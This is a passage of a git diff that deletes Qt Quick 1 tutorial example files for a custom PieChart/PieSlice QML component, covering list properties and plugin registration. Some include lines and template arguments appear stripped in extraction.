index 4bfa8ec350..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter4-customPropertyTypes/pieslice.h +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PIESLICE_H -#define PIESLICE_H - -#include -#include - -//![0] -class PieSlice : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(QColor color READ color WRITE setColor) - -public: - PieSlice(QDeclarativeItem *parent = 0); - - QColor color() const; - void setColor(const QColor &color); - - void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); - -private: - QColor m_color; -}; -//![0] - -#endif - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/app.qml b/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/app.qml deleted file mode 100644 index 0abe698f53..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/app.qml +++ /dev/null @@ -1,70 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import Charts 1.0 -import QtQuick 1.0 - -Item { - width: 300; height: 200 - - PieChart { - anchors.centerIn: parent - width: 100; height: 100 - - slices: [ - PieSlice { - anchors.fill: parent - color: "red" - fromAngle: 0; angleSpan: 110 - }, - PieSlice { - anchors.fill: parent - color: "black" - fromAngle: 110; angleSpan: 50 - }, - PieSlice { - anchors.fill: parent - color: "blue" - fromAngle: 160; angleSpan: 100 - } - ] - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/chapter5-listproperties.pro b/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/chapter5-listproperties.pro deleted file mode 100644 index f5dc31a3db..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/chapter5-listproperties.pro +++ /dev/null @@ -1,7 +0,0 @@ -QT += declarative qtquick1 - -HEADERS += piechart.h \ - pieslice.h -SOURCES += piechart.cpp \ - pieslice.cpp \ - main.cpp diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/main.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/main.cpp deleted file mode 100644 index 711a802322..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/main.cpp +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "piechart.h" -#include "pieslice.h" - -#include -#include - -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - - qmlRegisterType("Charts", 1, 0, "PieChart"); - qmlRegisterType("Charts", 1, 0, "PieSlice"); - - QDeclarativeView view; - view.setSource(QUrl::fromLocalFile("app.qml")); - view.show(); - return app.exec(); -} diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/piechart.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/piechart.cpp deleted file mode 100644 index 6b9109e740..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/piechart.cpp +++ /dev/null @@ -1,72 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "piechart.h" -#include "pieslice.h" - -PieChart::PieChart(QDeclarativeItem *parent) - : QDeclarativeItem(parent) -{ -} - -QString PieChart::name() const -{ - return m_name; -} - -void PieChart::setName(const QString &name) -{ - m_name = name; -} - -//![0] -QDeclarativeListProperty PieChart::slices() -{ - return QDeclarativeListProperty(this, 0, &PieChart::append_slice); -} - -void PieChart::append_slice(QDeclarativeListProperty *list, PieSlice *slice) -{ - PieChart *chart = qobject_cast(list->object); - if (chart) { - slice->setParentItem(chart); - chart->m_slices.append(slice); - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/piechart.h b/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/piechart.h deleted file mode 100644 index f594c48ef6..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/piechart.h +++ /dev/null @@ -1,75 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PIECHART_H -#define PIECHART_H - -#include - -class PieSlice; - -//![0] -class PieChart : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(QDeclarativeListProperty slices READ slices) -//![0] - Q_PROPERTY(QString name READ name WRITE setName) - -//![1] -public: -//![1] - PieChart(QDeclarativeItem *parent = 0); - - QString name() const; - void setName(const QString &name); - -//![2] - QDeclarativeListProperty slices(); - -private: - static void append_slice(QDeclarativeListProperty *list, PieSlice *slice); - - QString m_name; - QList m_slices; -}; -//![2] - -#endif - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/pieslice.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/pieslice.cpp deleted file mode 100644 index 235b2ab143..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/pieslice.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "pieslice.h" - -#include - -PieSlice::PieSlice(QDeclarativeItem *parent) - : QDeclarativeItem(parent) -{ - // need to disable this flag to draw inside a QDeclarativeItem - setFlag(QGraphicsItem::ItemHasNoContents, false); -} - -QColor PieSlice::color() const -{ - return m_color; -} - -void PieSlice::setColor(const QColor &color) -{ - m_color = color; -} - -int PieSlice::fromAngle() const -{ - return m_fromAngle; -} - -void PieSlice::setFromAngle(int angle) -{ - m_fromAngle = angle; -} - -int PieSlice::angleSpan() const -{ - return m_angleSpan; -} - -void PieSlice::setAngleSpan(int angle) -{ - m_angleSpan = angle; -} - -void PieSlice::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *) -{ - QPen pen(m_color, 2); - painter->setPen(pen); - painter->setRenderHints(QPainter::Antialiasing, true); - painter->drawPie(boundingRect(), m_fromAngle * 16, m_angleSpan * 16); -} - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/pieslice.h b/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/pieslice.h deleted file mode 100644 index 14b6f0b027..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter5-listproperties/pieslice.h +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PIESLICE_H -#define PIESLICE_H - -#include -#include - -//![0] -class PieSlice : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(QColor color READ color WRITE setColor) - Q_PROPERTY(int fromAngle READ fromAngle WRITE setFromAngle) - Q_PROPERTY(int angleSpan READ angleSpan WRITE setAngleSpan) -//![0] - -public: - PieSlice(QDeclarativeItem *parent = 0); - - QColor color() const; - void setColor(const QColor &color); - - int fromAngle() const; - void setFromAngle(int angle); - - int angleSpan() const; - void setAngleSpan(int span); - - void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); - -private: - QColor m_color; - int m_fromAngle; - int m_angleSpan; -}; - -#endif - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/app.qml b/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/app.qml deleted file mode 100644 index 0ea0bb053c..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/app.qml +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -Item { - width: 300; height: 200 - - PieChart { - anchors.centerIn: parent - width: 100; height: 100 - - slices: [ - PieSlice { - anchors.fill: parent - color: "red" - fromAngle: 0; angleSpan: 110 - }, - PieSlice { - anchors.fill: parent - color: "black" - fromAngle: 110; angleSpan: 50 - }, - PieSlice { - anchors.fill: parent - color: "blue" - fromAngle: 160; angleSpan: 100 - } - ] - } -} - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/chapter6-plugins.pro b/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/chapter6-plugins.pro deleted file mode 100644 index 4b3f4d1bcc..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/chapter6-plugins.pro +++ /dev/null @@ -1,15 +0,0 @@ -TEMPLATE = lib -CONFIG += qt plugin -QT += declarative qtquick1 - -DESTDIR = lib -OBJECTS_DIR = tmp -MOC_DIR = tmp - -HEADERS += piechart.h \ - pieslice.h \ - chartsplugin.h - -SOURCES += piechart.cpp \ - pieslice.cpp \ - chartsplugin.cpp diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/chartsplugin.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/chartsplugin.cpp deleted file mode 100644 index 2f62e71a16..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/chartsplugin.cpp +++ /dev/null @@ -1,53 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "chartsplugin.h" -//![0] -#include "piechart.h" -#include "pieslice.h" - -void ChartsPlugin::registerTypes(const char *uri) -{ - qmlRegisterType(uri, 1, 0, "PieChart"); - qmlRegisterType(uri, 1, 0, "PieSlice"); -} - -Q_EXPORT_PLUGIN2(chartsplugin, ChartsPlugin); -//![0] - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/chartsplugin.h b/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/chartsplugin.h deleted file mode 100644 index bffcf000fd..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/chartsplugin.h +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef CHARTSPLUGIN_H -#define CHARTSPLUGIN_H - -//![0] -#include - -class ChartsPlugin : public QDeclarativeExtensionPlugin -{ - Q_OBJECT -public: - void registerTypes(const char *uri); -}; -//![0] - -#endif - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/piechart.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/piechart.cpp deleted file mode 100644 index 39508470dd..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter6-plugins/piechart.cpp +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** 